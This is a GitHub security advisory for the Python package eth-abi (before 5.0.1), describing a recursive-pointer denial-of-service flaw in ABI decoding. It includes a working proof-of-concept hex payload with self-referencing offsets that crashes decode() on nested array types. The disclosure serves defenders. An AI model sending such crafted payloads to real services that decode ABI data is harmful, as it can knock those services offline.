GitHub Advisoryadvisory · PyPI
GHSA-3qwc-47jf-5rf7 eth-abi is vulnerable to recursive DoS
MEDIUM
Official page ↗
- Ecosystem
- PyPI
- Packages
- eth-abi
- Severity
- Moderate
- Weaknesses
- CWE-1285
- Reviewed
- 2024-03-05
Affected packages
• PyPI eth-abi: < 5.0.1 → fixed in 5.0.1
Description
This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue
```py
from eth_abi import decode
payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"
OverflowError: Python int too large to convert to C ssize_t
decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))
decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))
```
Related
Weakness · CWE (1)
- CWE-1285 Improper Validation of Specified Index, Position, or Offset in Input weakness